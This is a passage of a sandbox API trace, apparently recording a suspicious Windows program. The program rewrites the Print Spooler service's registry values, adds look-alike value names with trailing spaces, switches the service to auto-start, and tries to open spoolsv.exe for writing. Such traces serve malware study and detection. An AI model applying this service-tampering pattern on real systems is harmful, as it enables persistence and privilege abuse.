returned 0x0 [0242.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0242.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0242.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0242.084] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0242.084] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0242.085] RegCloseKey (hKey=0x150) returned 0x0 [0242.085] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0242.085] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0242.085] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0242.085] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0242.085] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0242.085] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0242.085] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0242.085] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0242.085] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0242.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.086] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.087] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.087] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.087] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.087] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.087] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.087] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0242.087] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0242.087] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0242.087] RegSetValueExA (in: hKey=0x150, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x219d3c8*, cbData=0x85 | out: lpData=0x219d3c8*) returned 0x0 [0242.088] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219d3c8) returned 1 [0242.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.088] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0242.089] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0242.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0242.089] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0242.089] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f40b8) returned 1 [0242.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.089] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.090] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0242.090] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0242.091] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4340) returned 1 [0242.091] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x7, lpData=0x21f4340*, cbData=0xd | out: lpData=0x21f4340*) returned 0x0 [0242.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.091] RegEnumValueA (in: hKey=0xc4, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.092] RegEnumValueA (in: hKey=0xc4, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.092] RegEnumValueA (in: hKey=0xc4, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.092] RegEnumValueA (in: hKey=0xc4, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.092] RegEnumValueA (in: hKey=0xc4, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.092] RegEnumValueA (in: hKey=0xc4, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0242.092] RegEnumValueA (in: hKey=0xc4, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0242.092] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\System32\\spoolsv.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x21 [0242.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3fe0 [0242.092] ExpandEnvironmentStringsA (in: lpSrc="%SystemRoot%\\System32\\spoolsv.exe", lpDst=0x21f3fe0, nSize=0x21 | out: lpDst="C:\\Windows\\System32\\spoolsv.exe") returned 0x20 [0242.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0242.092] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\spoolsv.exe", cbData=0x20 | out: lpData="C:\\Windows\\System32\\spoolsv.exe") returned 0x0 [0242.092] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\System32\\spoolsv.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7e4b18*="C:\\Windows\\System32\\spoolsv.exe" [0242.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0242.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d558 [0242.092] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0242.092] LocalFree (hMem=0x7e4b18) returned 0x0 [0242.093] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\System32\\spoolsv.exe", cbData=0x20 | out: lpData="C:\\Windows\\System32\\spoolsv.exe") returned 0x0 [0242.093] OpenServiceW (hSCManager=0x803918, lpServiceName="Spooler", dwDesiredAccess=0x2) returned 0x803990 [0242.093] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0242.109] CloseServiceHandle (hSCObject=0x803990) returned 1 [0242.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0242.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4a8) returned 1 [0242.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0242.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0242.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0242.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f3ec0) returned 1 [0242.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d478) returned 1 [0242.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0242.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0242.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0242.109] RegCloseKey (hKey=0x150) returned 0x0 [0242.109] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0242.109] RegCloseKey (hKey=0xc4) returned 0x0 [0242.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0242.110] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0242.110] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\spoolsv.exe" (normalized: "c:\\windows\\system32\\spoolsv.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a5786eb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9a5786eb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9a59e84b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x88800)) returned 1 [0242.110] CreateFileW (lpFileName="C:\\Windows\\System32\\spoolsv.exe" (normalized: "c:\\windows\\system32\\spoolsv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0242.110] GetLastError () returned 0x5 [0242.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0242.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0242.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0242.110] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 